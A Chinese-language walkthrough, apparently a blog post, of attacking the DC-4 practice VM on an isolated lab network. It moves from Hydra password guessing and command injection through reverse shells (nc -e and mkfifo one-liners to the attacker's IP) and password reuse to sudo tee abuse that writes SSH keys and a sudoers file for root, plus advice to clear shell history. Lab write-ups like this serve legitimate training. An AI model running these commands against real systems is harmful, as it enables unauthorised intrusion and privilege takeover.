news 2026/11/1 5:57:08

DC-4靶机渗透实战:从弱口令到sudo提权的完整攻击链

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DC-4靶机渗透实战:从弱口令到sudo提权的完整攻击链

靶机 DC-4 是我在给新手推荐渗透入门时,经常最先拿出来的一个靶场。它不像 DC-1 那样需要翻各种复杂漏洞,也不像 DC-3 那样上来就是 CMS 利用,它走的是一条非常“接地气”的攻击链:Web 弱口令、命令注入、密码复用、sudo 错误配置。整个靶机只开放 22 和 80 两个端口,但就是这两条线,把最常见的真实内网渗透场景几乎全演了一遍。适合刚学完基础、想搞懂“拿到一个 shell 之后到底往哪走”的人,也适合看惯了高大上 0day、想回归基本功的人。这篇文章我会按实际测试顺序,把每一步的踩坑和判断逻辑都写出来,你可以照着在本地环境里复现一遍。

1. 靶机信息与前期准备

1.1 环境搭建与靶机发现

DC-4 是一个 OVA 镜像,适合导入 VirtualBox 或者 VMware 使用。我习惯在 VirtualBox 里单独建一台虚拟机,网络模式选 Host-Only,这样目标机和攻击机在一个隔离的局域网段,不会影响外部环境。导入完成后,虚拟机会自动获取一个 IP,但大多数情况下不会显示在虚拟机屏幕上,所以第一步是扫网段。

攻击机我是用 Kali,装好网卡后在终端里执行:

sudo arp-scan -l

这个命令会扫描当前局域网里的存活主机,结果会同时看到攻击机和靶机的 IP。如果 arp-scan 没装,也可以用nmap -sn 192.168.56.0/24代替。拿到靶机 IP 之后,我先ping一下确认连通性,不通的话先检查网卡是不是 Host-Only,或者靶机网络模式有没有选错。

需要特别提醒的是:靶机 IP 不要固定写死。不同人搭建出来的环境,DHCP 分配结果可能不一样,后面所有命令里的 IP 都要按自己环境里的实际结果替换。这篇文章里我统一用192.168.56.128作为示例,它只用于演示。

环境准备好之后,还有一个小建议:把/etc/hosts里给靶机配一个别名,比如dc4.local,这样后续用浏览器访问或者 SSH 登录时,不用反复记 IP。

1.2 端口扫描与服务识别

先做一次全端口扫描,别只扫常见的 1000 个端口。命令如下:

nmap -sC -sV -p- -oA dc4 192.168.56.128

参数说明:

  • -sC:加载默认 NSE 脚本,做服务指纹、版本探测等。
  • -sV:探测具体服务版本。
  • -p-:全端口扫描。
  • -oA:输出三种格式的扫描结果,方便后面整理报告。

这台靶机的结果非常简单,只有两个端口:

端口服务说明
22/tcpOpenSSHSSH 远程登录入口
80/tcpApache HTTPWeb 服务入口

看到只有这两个端口,心里大概就有数了。Web 服务肯定是入口,SSH 多半是横向移动时用来拿 shell 的通道。比起那种端口一大堆、服务类型复杂的靶机,DC-4 更像是真实业务里的一台瘦服务器:只开必须的服务,攻击面有限,但只要有一个点没配好,照样能被打穿。

顺手再访问一下http://192.168.56.128,首页是一个简单的登录页面,标题区域写着“DC-4”,没有任何花哨的功能点。这个登录页就是第一个突破口,接下来进入 Web 攻击阶段。

2. Web 登录的突破口:弱口令与命令注入

2.1 登录表单爆破的完整姿势

登录页面长得很朴素,只有一个用户名框、一个密码框和一个提交按钮。我第一反应是先抓包,看看请求格式和返回逻辑。在 Burp 里开启代理,随便输入一组账号密码,提交后能看到请求:

POST /login.php HTTP/1.1 Host: 192.168.56.128 username=admin&password=test

响应里会有一个明显的错误提示,比如“密码不正确”。这个提示文本就是后面爆破时要用的失败标记F=...,用来让爆破工具判断哪次尝试成功了。

最省事的做法是直接手动试几个常见弱口令。我试了admin:admin、admin:password,都失败了。但这一步不能光靠运气,还是要正规地爆破。用 Hydra 的话,命令大致是:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.128 http-post-form "/login.php:username=^USER^&password=^PASS^:F=Incorrect" -t 16

注意命令里三个关键部分:

  1. /login.php:登录表单的提交路径,要和抓包结果一致。
  2. username=^USER^&password=^PASS^:要替换的参数所在位置,如果表单里还有隐藏字段,也要补进去,不然提交会失败。
  3. F=Incorrect:失败标记。这个必须和真实报错文本严格一致,大小写、空格都要看仔细,否则 Hydra 会把错误请求当成功请求。

实测下来密码非常简单,就是happy。用户名admin,密码happy,登录成功后页面跳转到一个看起来像 DVWA 的“执行命令”功能页。

关于这个弱口令,我想多说一句:爆破不是目的,目的是发现这类业务系统对密码强度没有任何要求。实际渗透测试中,这种惯性思维也很值得注意——很多人会花大把时间找 0day,却漏掉了最基础的枚举。

2.2 命令注入与第一个 shell

登录后的页面给我一个下拉框,可选项包括ls、cat /etc/passwd、id等,看起来很像是封装好的“命令查询”功能。选中一个选项,点击执行,页面会把命令输出回显出来。

这种页面十有八九存在命令注入,因为它的设计思路就是“把用户选择的命令拼进一个系统调用里执行”。我用 Burp 重新拦截请求,发现 POST 参数名是command,请求体长这样:

command=ls

注意它没有用各种白名单过滤,直接把ls放到system()或者类似函数里执行了。先测试一下分号分隔符:

command=ls;id

如果页面里既出现了ls的结果,又出现了uid=33(www-data) gid=33(www-data),那就说明分号没有被过滤,任意命令都能拼进去。

确定了注入点,接下来要反弹一个 shell。我本机用nc -lvnp 4444起监听,然后在注入点提交:

nc -e /bin/bash 192.168.56.1 4444

这里 192.168.56.1 是攻击机 IP,需要按实际网络环境替换。如果目标环境里的nc不支持-e,会直接报错。这种情况下,我通常改用管道式反弹命令:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.56.1 4444 > /tmp/f

把整串命令做 URL 编码,塞进command=参数里提交。我本地监听窗口很快就收到了一个www-data的 shell。

拿到 shell 后第一件事是升级到交互式终端,不然操作起来很折磨:

python -c 'import pty;pty.spawn("/bin/bash")'

按 Ctrl+Z 把进程切到后台,执行:

stty raw -echo fg

回车之后终端就变正常了,支持 Tab 补全、上下翻历史,后面所有操作都会舒服很多。

3. 横向移动:从 www-data 到 jim

3.1 主机信息收集与密码复用的线下线索

拿到www-datashell 只是第一步,后面能不能扩大战果,要看信息收集是否仔细。我通常会按一个固定顺序来:先看当前用户和身份,再看系统里的用户列表、网络连接,最后翻敏感文件。

先看/etc/passwd:

cat /etc/passwd

除了系统自带的用户之外,目标环境里有几个带/bin/bash的普通用户:jim、charles、sam。这些通常才是值得关注的横向移动目标。

接下来翻目录:

ls -la /home ls -la /home/jim

www-data能读取部分家目录文件,这本身就很有价值。我在/home/jim下发现了一个名字类似old_password.txt的文件,内容是:

^x(hH,@kP=H

这一串看起来像乱码,其实是靶机作者故意埋的密码文件。它可能是 jim 之前用过的旧密码,也可能是别的系统上的密码,靶机里就等着你去“猜”这个复用关系。真实环境下,这种明文密码文件太常见了,经常出现在/home/用户/桌面、/var/backups、/tmp里,值不值得尝试,取决于账号体系是否复用。

这里我还想提醒一个容易被忽略的点:注意看目标机里有没有邮件或者计划任务。这类信息经常藏在/var/mail、/var/spool/cron下,里面可能有管理员互相发送的密码,或者周期性任务里暴露的脚本路径。DC-4 上主要线索在明文密码文件,但多看一眼没有任何坏处。

3.2 使用 SSH 接管 jim 账户

拿到密码后,优先考虑用 SSH 登录,而不是在www-data的 shell 里直接切换用户。原因有两个:一是 SSH 连接更稳定,二是如果后续需要传文件、打隧道,SSH 自带的能力都能用上。

直接在攻击机执行:

ssh jim@192.168.56.128

密码就填上面那个old_password.txt里的内容。成功率很高,因为靶机作者故意让 jim 的密码和这个文件保持一致。

登录成功后,立刻查看自己的权限:

id sudo -l

id显示我当前是 jim,属于jim组。sudo -l的结果很有意思:

User jim may run the following commands on this host: (charles) NOPASSWD: /usr/bin/tee

简单说:jim 在不需要输入密码的情况下,能以charles的身份执行/usr/bin/tee命令。

如果你熟悉 Linux 权限模型,应该能感觉到这里味道不对劲。tee是一个读写标准输入、写文件的命令,用来把内容输出到文件里。它的常见用法是:

echo "hello" | tee -a /etc/foo

现在它能以 charles 身份运行,意味着 jim 实际上能够以 charles 权限写任何文件。这已经和“拥有一个 charles 的 shell”差不了太多,只是中间还需要一点技巧。

3.3 补充说明:为什么这个 sudo 配置危险

很多人看sudo -u charles /usr/bin/tee会想:“只能写文件,又不能命令执行,有什么好怕的?” 这个想法很危险。文件写权限在提权链条里几乎等于命令执行。只要能把内容写进目标用户的可执行脚本、SSH 公钥文件、或者系统配置,就能变相控制目标用户。

更可怕的是,sudo的这一行规则用的是NOPASSWD,连密码验证都省了。攻击者一旦拿到 jim 权限,就能连续尝试多种文件写入攻击,而不需要猜密码。这也是为什么系统里给某个用户开放“单条命令 sudo 权限”时,必须评估这条命令的所有副作用。

4. sudo 配置滥用:从 jim 到 charles 再到 root

4.1 tee 滥用实现对 charles 的接管

要利用sudo -u charles /usr/bin/tee,最稳的方式是往 charles 的 SSH 公钥文件里写一个我们能控制私钥的公钥,这样就能用 SSH 私钥直接登录成 charles。

先在本机构建一对新的 SSH 密钥:

ssh-keygen -t rsa -b 4096 -f charles_key

这会生成charles_key和charles_key.pub。在 jim 的 shell 里,用 sudo 权限把公钥写入/home/charles/.ssh/authorized_keys:

cat charles_key.pub | sudo -u charles /usr/bin/tee /home/charles/.ssh/authorized_keys

如果/home/charles/.ssh目录已经存在,这一步会直接成功。如果目录不存在,会报路径错误,这时候需要在 jim 的权限范围内想办法创建目录。一种思路是利用tee先写入一个 charles 家目录下可执行的文件,然后把执行链交给别的场景触发;不过 DC-4 默认环境里通常已经把.ssh目录准备好,实测时可以直接成功。

写入公钥后,攻击机执行:

ssh -i charles_key charles@192.168.56.128

没输入任何密码,直接进入 charles 的 shell。这说明我成功完成了第一步横向移动:www-data -> jim -> charles。

到这里,读者可能会问:“为什么不直接在 jim 的 sudo 权限里继续利用 tee 写 root 相关文件?” 关键原因在于权限边界。jim 的 sudo tee 只能以 charles 身份运行,JIM 本身没有权限写/root或/etc/sudoers,因为那些文件属于 root。必须先切换到 charles,再利用 charles 的 sudo 权限向更上层发起攻击。

4.2 构造 sudoers 片段直达 root

进入 charles 之后,老规矩,先检查 sudo 权限:

sudo -l

显示内容大致是:

User charles may run the following commands on this host: (root) NOPASSWD: /usr/bin/tee

这套路和 jim 几乎一致,区别只是目标用户从 charles 换成了 root。也就是说,charles 能以 root 身份执行tee,可以往 root 能写的文件里写入内容。

我最常用的手法是往/etc/sudoers.d/目录下添加一个文件,让 charles 获得完整的 sudo 权限。先构造内容:

echo 'charles ALL=(ALL:ALL) ALL' > /tmp/sudoers-add

然后用 sudo 以 root 身份把内容写进 sudoers 目录:

sudo -u root /usr/bin/tee /etc/sudoers.d/charles < /tmp/sudoers-add

注意:tee以 root 身份运行,文件最终归属是 root,权限默认是644,完全符合 sudoers 配置的读取要求。写入成功后,立即验证:

sudo -l

此时 charles 的 sudo 列表会显示(ALL) ALL,也就是所有命令都能以任意用户执行。我直接运行:

sudo -i

输入不需要密码,因为 sudoers 里已经指定了NOPASSWD。终端提示符立刻变成root@dc-4:~#,提权完成。

这里有个风险要注意:写 sudoers 文件的时候,千万不要覆盖原始/etc/sudoers。原始文件通常权限是0440,由 root 持有,直接写坏会导致 sudo 完全无法工作,之后就是灾难性故障了。正确做法是单独添加sudoers.d下的文件,因为它会被主配置自动包含,而且修改起来更安全。

4.3 验证 root 权限并读取标志

拿到 root 后,先确认身份和关键信息:

whoami id hostname

再刷新一下当前目录里的 flag:

cat /root/flag.txt cat /root/root.txt

这两个文件名在不同版本里可能不同,反正 root 家目录下会有一个flag.txt或者root.txt,内容写着一句类似的祝贺语。到这里,整个 DC-4 靶场就算通关了。

我在实战里还会顺手做几件收尾动作:

  1. 把 shell 历史清掉,虽然靶机环境无所谓,但养成习惯。
  2. 把整个攻击路径重新过一遍,记录哪些点耗时长、哪些点容易踩坑。
  3. 把用到的关键命令整理成笔记,方便下次遇到类似场景直接套用。

5. 实战排错:那些容易翻车的细节

5.1 登录爆破失败时先抓包

很多新手做 Hydra 爆破时,明明密码就在字典里,就是爆不出来。90% 的问题出在参数提取和失败标记上。

比如登录页的请求里可能隐藏了一个 token 字段,像csrf=xxx,如果爆破时没有把它带上,服务器会拒绝验证密码。更常见的情况是失败标记写错,Hydra 把所有请求都当成成功或失败,导致结果混乱。

如果爆破失败,不要急着加参数,先开 Burp 手动提交一次错误账号,把响应原文读一遍。拿到确切的“错误信息”文本,再把它放进 Hydra 的F=字段。

还有一个我自己的习惯:先用一个确定错误的密码和一个确定正确的密码各测一次,确认 Burp 显示的成功响应和失败响应有明确差异,再交给工具跑。不然爆破结果可信度很低。

5.2 反向 shell 连不上怎么排查

反弹 shell 是最容易卡住人的一步,常见表现是执行后没有反应。排查顺序如下:

  1. 监听先起,再发命令。很多新手反过来,命令执行完才急着开监听,早就错过了连接窗口。
  2. 检查命令里填的攻击机 IP 是否真实可达。在虚拟机里,攻击机和靶机必须在同一网段。
  3. 看看目标系统里nc是否支持-e。如果报错,立刻换mkfifo方案。
  4. 如果命令里有空格、分号、引号、管道符,提交前必须先做 URL 编码,否则 Web 参数解析会截断命令。

测试时可以用一个简单的command=ls;id确认注入有效,如果这个都不回显,说明代码里可能有过滤,就要换%0a、%26、反引号等绕过思路。DC-4 上没有这么复杂,但养成这个检查顺序能救你很多次。

5.3 sudoers 与 SSH 权限的隐藏要求

利用tee写authorized_keys时,我会提前确认几个权限细节:

  • charles 的家目录权限不能是其他用户可写,否则 SSH 会直接拒绝使用这个公钥。
  • .ssh目录最好改成700。
  • authorized_keys文件最好改成600。

如果是用sudo -u charles生成的 authorized_keys,默认权限可能不一定满足 SSH 的苛刻要求。我在实际测试里遇到过几次公钥写进去后ssh -i依然登不上,最后一看,authorized_keys权限是644,把它chmod 600之后立刻成功。

写/etc/sudoers.d/时也一样,文件权限太松(比如其他用户可写)会让 sudo 直接忽略该文件,或者报错。写入后先ls -l /etc/sudoers.d/检查归属和权限,再验证sudo -l,不要等到第二步提权时才发现问题。

5.4 关于靶机 IP 和网段扫描的几个坑

DC-4 这类静态靶机和云环境不太一样,虚拟网卡偶尔会起不来。我遇到过的现象是:靶机启动后arp-scan完全扫不到,也没有任何报错。这时候不要光盯着网段看,先去虚拟机的网络设置里把网卡重新选一次,然后把靶机关机重开,问题基本都能解决。

如果是从 OVA 导入后直接运行,系统里可能残留了原作者的网卡 MAC 和 DHCP 配置,导致 IP 冲突或获取不到地址。遇到这种情况,最简单的方法是换用 VMware 或 VirtualBox 的 NAT 模式,等几秒再看arp-scan,不要强求必须走 Host-Only。


DC-4 这条链路其实特别适合拿来练“思维习惯”。每一步单看都简单,但串起来就是一条很完整的攻击链:从 Web 弱口令到命令注入,再到密码复用、sudo 提权,每一个环节放在真实渗透测试里都可能出现。我个人在实际操作中的体会是:不要因为某个点看着“太傻瓜”就跳过,比如happy这个密码、old_password.txt这种文件名,看起来假到离谱,但真实环境里类似的例子一点也不少。最后再分享一个小建议:托管这台靶机的时候,多留一点时间在“试错”上,有些问题不是漏洞难度高,而是环境细节没对齐,先把这些坑填平,后面反而顺很多。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/11/1 5:56:04

离散信号与系统时域分析全解析:从卷积和到差分方程实战

做数字信号处理绕不开时域分析。很多人一接触“离散信号与系统”这门课&#xff0c;眼睛就盯着傅里叶变换、Z变换这些频域工具&#xff0c;觉得时域不就是画个波形、算个卷积嘛&#xff0c;简单。但我在实际带项目和答疑的过程中发现&#xff0c;时域分析恰恰是大家最容易“以为…

作者头像 李华
网站建设 2026/11/1 5:55:30

Java中可靠获取上月开始时间的实践指南

1. 项目背景与需求解析在日常业务开发中&#xff0c;处理时间相关的逻辑几乎无处不在。特别是需要按月统计、生成报表或进行数据归档的场景&#xff0c;准确获取上个月的开始时间是一个高频需求。比如电商平台需要统计上月销售额&#xff0c;SaaS系统要生成月度使用报告&#x…

作者头像 李华
网站建设 2026/11/1 5:56:50

服装行业ERP系统实施的核心挑战与解决方案

1. 服装行业ERP系统的核心挑战服装行业作为典型的传统制造业&#xff0c;其业务流程涵盖设计、采购、生产、仓储、销售等多个环节。一套理想的ERP系统需要打通从面料采购到终端零售的全链路数据流&#xff0c;实现"设计-生产-销售"闭环管理。但在实际落地过程中&…

作者头像 李华
网站建设 2026/10/18 23:45:57

Llama 3工程精读:FP8量化与长上下文实战拆解

1. 项目概述&#xff1a;这不是一次普通的大模型阅读&#xff0c;而是一次面向工程落地的深度拆解“Llama 3 精读&#xff5c;附 FP8 量化与长上下文实测”——这个标题里藏着三个关键动作&#xff1a;“精读”不是泛泛浏览论文或文档&#xff0c;而是逐行对照原始代码、配置文…

作者头像 李华
网站建设 2026/10/31 12:05:56

知识图谱大图性能优化:从SVG卡顿到Canvas流畅渲染实践

1. 卡顿现场还原&#xff1a;qKnow商业版到底卡在哪一步1.1 业务场景与问题复现知识图谱类产品最核心的使用方式&#xff0c;就是打开一张图谱&#xff0c;用鼠标拖拽、缩放、点选&#xff0c;在关系网络中找线索。qKnow商业版的图谱模块在上线前压测了一个真实业务图谱&#x…

作者头像 李华
网站建设 2026/10/19 6:37:52

健康测评平台开源项目实战:从问卷建模到评分算法与部署

最近逛开源社区的时候&#xff0c;看到一个很有意思的项目——healthy-test&#xff0c;一个健康测评平台。说实话&#xff0c;这种类型的项目其实不少&#xff0c;但大多停留在“填问卷、出报告”的玩具阶段&#xff0c;而这个项目的完成度和扩展性都超出我的预期。我花了点时…

作者头像 李华